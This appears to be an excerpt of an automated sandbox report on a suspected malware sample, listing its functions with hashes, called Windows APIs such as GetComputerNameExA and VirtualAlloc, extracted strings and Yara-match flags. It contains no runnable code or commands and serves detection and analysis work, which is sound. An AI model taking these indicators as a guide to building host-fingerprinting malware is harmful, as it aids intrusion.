Opcode Fuzzy Hash: 54c05f572b40e1ee658a53a265a9c69a1e9a99d1188c26c8d681712ba5683871
Instruction Fuzzy Hash: D0D167B8610B018FD324CF25D890B27B7E1FB4A304F958A2DD5968BB61D779F846CB48

Uniqueness

Uniqueness Score: -1.00%

Function 00421370 Relevance: .4, Instructions: 381COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 18c67bc5bb0a48b41565800ffdfda66d5c88e8ed4c356a8f6cf2c87f11dabd23
Instruction ID: b691efaaebe1fd9e0190dd32e1fb97d0ad8f24f092331a3f0970b38f0ebcf96e
Opcode Fuzzy Hash: 18c67bc5bb0a48b41565800ffdfda66d5c88e8ed4c356a8f6cf2c87f11dabd23
Instruction Fuzzy Hash: 06D1C1B1A083219BD704CF18D89072BB7E1EFE5754F98496EE4858B391E739DD04CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 00421090 Relevance: .4, Instructions: 373COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f0fae915c2973b017a55c8055e8b591edaf4bb58aca64972c5d659872db0369
Instruction ID: 024c6bc1a7c06842b7b2da60ebc75b4e81c0e709c88b8f194da14b798eec8cba
Opcode Fuzzy Hash: 3f0fae915c2973b017a55c8055e8b591edaf4bb58aca64972c5d659872db0369
Instruction Fuzzy Hash: 13C145B4214B01CFD324CF25D894B27B7E1FB8A304F958A2DD5968BAA1D778F446CB48

Uniqueness

Uniqueness Score: -1.00%

Function 0043B3B0 Relevance: .3, Instructions: 255COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3afab0ab5a78844f1761c8edcd1a07d0367c9c2f88b7ef853da9937646c6a3ad
Instruction ID: cfd6409ae6c1319e473ca82dbec1d2571da19b56d0cb4a7f1dcbce60b372dc38
Opcode Fuzzy Hash: 3afab0ab5a78844f1761c8edcd1a07d0367c9c2f88b7ef853da9937646c6a3ad
Instruction Fuzzy Hash: B781DD72A043019BD714CF18C890B6BB3A1FF88318F19991DE9959B392D334EC15CBDA

Uniqueness

Uniqueness Score: -1.00%

Function 0043AE80 Relevance: .2, Instructions: 160COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 44c21440910b441c3c47798c68511679ee4b192c036e3a23ecd466ca5ef6df7e
Instruction ID: 7ec337f4810fed5a0fc0c42e7f6c195b542c32b12575270dc2a29337bbab3055
Opcode Fuzzy Hash: 44c21440910b441c3c47798c68511679ee4b192c036e3a23ecd466ca5ef6df7e
Instruction Fuzzy Hash: 76519BB52483019BE718CF14C890B6FB7F1EB89748F24981DE5E59B391D378E815CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 00438879 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a525d3b901aab37e805287b5fe7f45e91ed26bae2eb08f4b056ac6a42eabfecf
Instruction ID: e35f2d1fee80e2f1db852cb22d8b1dde2544e3ec87f29d33cf979d87121eb95b
Opcode Fuzzy Hash: a525d3b901aab37e805287b5fe7f45e91ed26bae2eb08f4b056ac6a42eabfecf
Instruction Fuzzy Hash: E64148B4210B008BD729CF15C890B27F7F2FF49315F589A1DD4968BA95CB78E4168B89

Uniqueness

Uniqueness Score: -1.00%

Function 00437998 Relevance: .1, Instructions: 138COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ac606fa896dbfc20e0858d286959e527960311e6db785cbe9c751ee3dc681b9
Instruction ID: c35e6b3492bc7fc63c5e4d94200a91186c139317177be3ffd343f9b61624e557
Opcode Fuzzy Hash: 7ac606fa896dbfc20e0858d286959e527960311e6db785cbe9c751ee3dc681b9
Instruction Fuzzy Hash: 4E5156B0244B008FE3348F15C894B17B7F2EB49318F649A1DD4A29BB95C778F9058B88

Uniqueness

Uniqueness Score: -1.00%

Function 0041210C Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13eac76ea8d3fd39f0c83d84732ee0ae87b3b7a133187896b959945c85a3b65a
Instruction ID: ca850fd041728cb81bae71f088373bc471964c8ad35e0faae0c370fe9a2fbc17
Opcode Fuzzy Hash: 13eac76ea8d3fd39f0c83d84732ee0ae87b3b7a133187896b959945c85a3b65a
Instruction Fuzzy Hash: 5831B271A00B018FC725CF35C8817A7B7E2FB89314F188A2ED1AAC3791E778E4818B45

Uniqueness

Uniqueness Score: -1.00%

Function 00410565 Relevance: .0, Instructions: 25COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8646d0b6c90f403e1a8a630bed48f489923bff8176b96a56545a554dce1654f
Instruction ID: ea6735051b580764b1b091c7d8751f59caf218b0077db567d50405ba04e5f90f
Opcode Fuzzy Hash: a8646d0b6c90f403e1a8a630bed48f489923bff8176b96a56545a554dce1654f
Instruction Fuzzy Hash: 8CE092397006004BC658AB30D89267B736397C6300F0C143CD447A33A2CE78B8818A49

Uniqueness

Uniqueness Score: -1.00%

Function 004286B8 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a8d40ba8103fe54fbe292f7b0286ae1ba72782342e545eadd221858701af8b18
Instruction ID: fb33a21c909e12981a6b8ef3dc275bf6d2761d5d6d7fe25341320a66258a9d40
Opcode Fuzzy Hash: a8d40ba8103fe54fbe292f7b0286ae1ba72782342e545eadd221858701af8b18
Instruction Fuzzy Hash: 1BF0AC745093408FC324DF25C55575ABBF0FB8D304F81892DD59A8B291D778A904CF86

Uniqueness

Uniqueness Score: -1.00%

Function 0365003C Relevance: 12.8, APIs: 5, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 0365024D

Strings

kernel32.dll, xrefs: 0365008F, 03650095
cess, xrefs: 0365018D

Memory Dump Source

Source File: 00000000.00000002.1921662921.0000000003650000.00000040.00001000.00020000.00000000.sdmp, Offset: 03650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3650000_LwnI84BBtb.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: 84ab4675fbeaeb7c57a8e1226a149d74837793a336b84f2b91fabcefdd5c58e0
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 76526A75A01229DFDB64CF58C985BACBBB1BF09304F1480E9E94DAB351DB30AA95CF14

Uniqueness

Uniqueness Score: -1.00%

Function 00427C0B Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 72
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 00427D72

Strings

3, xrefs: 00427C3B
:, xrefs: 00427C4B
;, xrefs: 00427C8B
6, xrefs: 00427C9B
%, xrefs: 00427C7B
!, xrefs: 00427C6B

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID: AllocString
String ID: !$%$3$6$:$;
API String ID: 2525500382-3001093237
Opcode ID: 33183d01ceb5a524f0c18bbdcc2b8a0325e2adc34bd19612829b3e5eac2fea1f
Instruction ID: 1a39169d67010728743755bad08802f9e09bd0e4855d95ec92bb4768922a02a3
Opcode Fuzzy Hash: 33183d01ceb5a524f0c18bbdcc2b8a0325e2adc34bd19612829b3e5eac2fea1f
Instruction Fuzzy Hash: E641353010C7C58AD33ACA28C4997DFBFE25BD6314F084A5CE1E94A2C2C3B9464AC757

Uniqueness

Uniqueness Score: -1.00%

Function 0041E6A0 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 138
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,00000000,?), ref: 0041E7CB
RtlExpandEnvironmentStrings.NTDLL(00000000,00000000,0000001E,00000000,?,?), ref: 0041E7FA

Strings

mz, xrefs: 0041E820
N, xrefs: 0041E828
JE, xrefs: 0041E72B

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: JE$N$mz
API String ID: 237503144-108684729
Opcode ID: 03d5809357e3963816daa3459d23f7a23414702b53542c1c910962c249b0d0e7
Instruction ID: d4eb9d248d4042ffda66fec7adb5be2df31ff8f7ed8dd41437f0ba620aed1879
Opcode Fuzzy Hash: 03d5809357e3963816daa3459d23f7a23414702b53542c1c910962c249b0d0e7
Instruction Fuzzy Hash: BB5151B4108341AFD310CF02C895B4BBBE5EBC6754F108E1DF8A45B391D779D9858B96

Uniqueness

Uniqueness Score: -1.00%

Function 004248C4 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 610
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000200), ref: 00424D2D
GetComputerNameExA.KERNELBASE(00000005,00000000,00000200), ref: 00424E28

Strings

<VXp, xrefs: 0042498E

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID: ComputerName
String ID: <VXp
API String ID: 3545744682-3522128999
Opcode ID: ceb7df71cc771084bf12d3982bfc6851ab6c604ce51aaaf5532dc42f773fec6f
Instruction ID: 6299c964a3fce0bafc53ea5c8286f28257e6a63a241fb0224b927437de5add70
Opcode Fuzzy Hash: ceb7df71cc771084bf12d3982bfc6851ab6c604ce51aaaf5532dc42f773fec6f
Instruction Fuzzy Hash: DC32FE70204B918AE725CF34C8647E3BBE1EF57309F98495EC4EB9B282C7796446CB64

Uniqueness

Uniqueness Score: -1.00%

Function 004248C7 Relevance: 5.9, APIs: 2, Strings: 1, Instructions: 602
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

<VXp, xrefs: 0042498E

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID:
String ID: <VXp
API String ID: 0-3522128999
Opcode ID: aa472b181c25ef4c7ff1b41997715be3b6fc59769e2fc03377bffbd232bba362
Instruction ID: 39380498e3301fda940bb2c750f98dbafe3cac41602dcf564c309bbfc5931e86
Opcode Fuzzy Hash: aa472b181c25ef4c7ff1b41997715be3b6fc59769e2fc03377bffbd232bba362
Instruction Fuzzy Hash: C822FF70204B918AE725CF34C8647E3BBE1EF57305F98495EC4EB9B282C7796446CB64

Uniqueness

Uniqueness Score: -1.00%

Function 004252A4 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 458
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(VDn, xrefs: 00425BA6
zrHu, xrefs: 00425BB0

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID:
String ID: (VDn$zrHu
API String ID: 0-2980758696
Opcode ID: 379f5229f73699a554116ef83f101bc97f7cbfca640173dcc043b3cc4881a05d
Instruction ID: 6abb5f54dd02d2df8b74713aa4eba05006bae67069e8e73d66e3ac6d0c001b4f
Opcode Fuzzy Hash: 379f5229f73699a554116ef83f101bc97f7cbfca640173dcc043b3cc4881a05d
Instruction Fuzzy Hash: 67F18A70604F808BE726CF35C4A47E7BBE1AF56304F88495EC4EA9B792C779A406CB44

Uniqueness

Uniqueness Score: -1.00%

Function 0042E3EF Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 110
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SelectObject.GDI32 ref: 0042E437
SelectObject.GDI32 ref: 0042E4B9

Strings

, xrefs: 0042E486

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID: ObjectSelect
String ID:
API String ID: 1517587568-3916222277
Opcode ID: e0dffe2799290b1325598bf0a61f6d8834782f29a839223cc3ea3d362ac7b798
Instruction ID: 64c2dd33f56547eeba0a9756c00d89cd855ce22edeb25e2eb396533884e40186
Opcode Fuzzy Hash: e0dffe2799290b1325598bf0a61f6d8834782f29a839223cc3ea3d362ac7b798
Instruction Fuzzy Hash: 7D515CB8605B008FC364DF28D595A16BBF1FB89300F508A6DE98A8BB60D731F845CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00408DF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32 ref: 00408E60

Strings

often in other is that on their similarity resemblance system or of on replacements the reflection used ways or it internet. uses play of spellings primarily eleet leetspeak, the character via modified a glyphs, xrefs: 00408E26

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID: ExitProcess
String ID: often in other is that on their similarity resemblance system or of on replacements the reflection used ways or it internet. uses play of spellings primarily eleet leetspeak, the character via modified a glyphs
API String ID: 621844428-3137510881
Opcode ID: fa5aabe4ad16cf67e7d547b67a197814e7e1d1e69f37924dfa70f4ebd1137123
Instruction ID: 2fd8b006e3b76f4afec7b1faa4642abc4b02275d11bc394f33c7f760dc90e6d3
Opcode Fuzzy Hash: fa5aabe4ad16cf67e7d547b67a197814e7e1d1e69f37924dfa70f4ebd1137123
Instruction Fuzzy Hash: 8BF06D7040C601CAD600BB61C705269B7A06F14328F20593FE8CAE12C0DF3C8486AADF

Uniqueness

Uniqueness Score: -1.00%

Function 00437E48 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 90libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(?), ref: 00437FA3

Strings

gRI, xrefs: 00437F00

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID: LibraryLoad
String ID: gRI
API String ID: 1029625771-894747221
Opcode ID: b924395998ae65e34cc97e97e49c83ced36f9783127f8a86a70ad9b629d00132
Instruction ID: 2a4b3bc33ec7130f718fa133b8f83357076008803d7a7ff669a68a4f6503176c
Opcode Fuzzy Hash: b924395998ae65e34cc97e97e49c83ced36f9783127f8a86a70ad9b629d00132
Instruction Fuzzy Hash: 734118B41047428BD328CF29C590B13FBB1BF49304F189A9DD4928FB56C334E58ADB98

Uniqueness

Uniqueness Score: -1.00%

Function 004241EB Relevance: 3.6, APIs: 2, Instructions: 582COMMON

Download Yara Rule

APIs

GetComputerNameExA.KERNELBASE(00000006,?,00000200), ref: 00424D2D
GetComputerNameExA.KERNELBASE(00000005,00000000,00000200), ref: 00424E28

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID: ComputerName
String ID:
API String ID: 3545744682-0
Opcode ID: df82d550106a5831d78f12e269e3e0b91f16142a182fe8660f2375e7ed7413ff
Instruction ID: 15930a0e3456c2de96117bffaec9bf70862991a15f3db32a0408bad3ef46fb91
Opcode Fuzzy Hash: df82d550106a5831d78f12e269e3e0b91f16142a182fe8660f2375e7ed7413ff
Instruction Fuzzy Hash: DC22BD70204B918BE725CF34C8947E3BBE1AF56304F98495ED4EB9B782C779A406CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00435AA0 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 53memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 00435B47

Strings

f543, xrefs: 00435B08

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID: AllocateHeap
String ID: f543
API String ID: 1279760036-424919641
Opcode ID: 6cbb3d75488a68f00f06e546b757858c8eccb469aa893b84ba7841f44e1abc9f
Instruction ID: 06c2186eef59e94b595ca09588689556934a3fe7b1df8413d19f3e3cff029a90
Opcode Fuzzy Hash: 6cbb3d75488a68f00f06e546b757858c8eccb469aa893b84ba7841f44e1abc9f
Instruction Fuzzy Hash: 3D1148741083019FD708CF14C464B6BBBA2EBC5328F248A1CE8A50B791C77AD915CBC2

Uniqueness

Uniqueness Score: -1.00%

Function 00439580 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00000000), ref: 00439617

Strings

f543, xrefs: 004395D8

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID: AllocateHeap
String ID: f543
API String ID: 1279760036-424919641
Opcode ID: fb90c4881631728a67103a90e4af625c91e24478a3ae189eab592f5653f933f2
Instruction ID: bcaec8aad2e54c7bb86e5c8c35838375d44d37fa2ceccc352b8ebc86a0d96e6b
Opcode Fuzzy Hash: fb90c4881631728a67103a90e4af625c91e24478a3ae189eab592f5653f933f2
Instruction Fuzzy Hash: 8A1109741083019FE708CF14C4A476BBBA2EBD5728F24895DE4A507691C7BAD919CB86

Uniqueness

Uniqueness Score: -1.00%

Function 00433D05 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNELBASE(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00433D3A

Strings

\, xrefs: 00433D05

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID: InformationVolume
String ID: \
API String ID: 2039140958-2967466578
Opcode ID: 97d75a674a5be829cde8a03888e8111a6af89568cd531833de46cd4d18545e80
Instruction ID: 4293fc51c427d059e8a1900740c0d841a4927f035155755a6a86f4fc830b078c
Opcode Fuzzy Hash: 97d75a674a5be829cde8a03888e8111a6af89568cd531833de46cd4d18545e80
Instruction Fuzzy Hash: 7FE04F75285701BBF328CF10ED23F2A32A59B45B05F20442DB306EA1D1D7B4B915CA6D

Uniqueness

Uniqueness Score: -1.00%

Function 0041DE00 Relevance: 3.2, APIs: 2, Instructions: 215COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,00000000,?), ref: 0041DF06
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000000E,00000000,?,?), ref: 0041DF31

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 4429e528902b6959771bdd2832947410f763d0ee0b9aaf0d96c237b5a8ace8fb
Instruction ID: 7cd1955bb7ff4877b61add733c5008b9238defc5a30e4e77b50cb4d3de39835c
Opcode Fuzzy Hash: 4429e528902b6959771bdd2832947410f763d0ee0b9aaf0d96c237b5a8ace8fb
Instruction Fuzzy Hash: 21619D756083518FE324CF15C890BABB7E1EFCA318F014A1DE8D95B281D7789A46CB97

Uniqueness

Uniqueness Score: -1.00%

Function 0042DFB8 Relevance: 3.1, APIs: 2, Instructions: 123COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL ref: 0042E066
GetSystemMetrics.USER32 ref: 0042E077

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID: CallbackDispatcherMetricsSystemUser
String ID:
API String ID: 365337688-0
Opcode ID: a910ae7a2649babda8153f224d949615ec8b62e997d32fa7a6b3b09d989dad0e
Instruction ID: ec370dcdc0dee2e7242882cc56310c6ee9e1b245d348888234485e317814ae48
Opcode Fuzzy Hash: a910ae7a2649babda8153f224d949615ec8b62e997d32fa7a6b3b09d989dad0e
Instruction Fuzzy Hash: 0A515DB4A10B009FD364DF2DD981A26BBF5FB49704B10492DE98AC7B60D631F845CB96

Uniqueness

Uniqueness Score: -1.00%

Function 03650E0F Relevance: 3.0, APIs: 2, Instructions: 15COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00000400,?,?,03650223,?,?), ref: 03650E19
SetErrorMode.KERNELBASE(00000000,?,?,03650223,?,?), ref: 03650E1E

Memory Dump Source

Source File: 00000000.00000002.1921662921.0000000003650000.00000040.00001000.00020000.00000000.sdmp, Offset: 03650000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3650000_LwnI84BBtb.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 503e7a0e90e84bceaa18598e4c5940aaa5a302146ad8f24382a252c28ba0e966
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: E7D0123114512977D7002A94DC09BCDBB1CDF05B62F148021FB0DD9180C770954046E5

Uniqueness

Uniqueness Score: -1.00%

Function 004394EC Relevance: 1.5, APIs: 1, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

RtlReAllocateHeap.NTDLL(00000000,00000000), ref: 00439575

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: bf3e3f96053bca1849cd9bffeedf92de85d467ab460f6b04e012a5cbc12d61f1
Instruction ID: 1d8b2ebf96d1ba174666c76c8533ac1a669530b6b8cb3b7a98fa5c82265e6ac1
Opcode Fuzzy Hash: bf3e3f96053bca1849cd9bffeedf92de85d467ab460f6b04e012a5cbc12d61f1
Instruction Fuzzy Hash: 7801D7701083409FE318CF10D464B6FFBE1EBC5728F209A1DE4A91B681C3B9D959CB8A

Uniqueness

Uniqueness Score: -1.00%

Function 0041860C Relevance: 1.5, APIs: 1, Instructions: 33COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,?,00000000,?,?), ref: 00418638

Memory Dump Source

Source File: 00000000.00000002.1920730607.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1920730607.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_LwnI84BBtb.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: 8fbd10a75e567c23622f6f1f1af2b8b55c0af1b8ad70b396d9a66fe143293182
Instruction ID: eb8c1c7914f9d0c13229cf9ff11979a1d61f9c5fd9cbf3551faf471138ca6978
Opcode Fuzzy Hash: 8fbd10a75e567c23622f6f1f1af2b8b55c0af1b8ad70b396d9a66fe143293182
Instruction Fuzzy Hash: 1CF02EBA900200AFDA20DF25CC05E2337A8EB85324B00882DF26BC3291EB30E410DB04

Uniqueness

Uniqueness Score: -1.00%

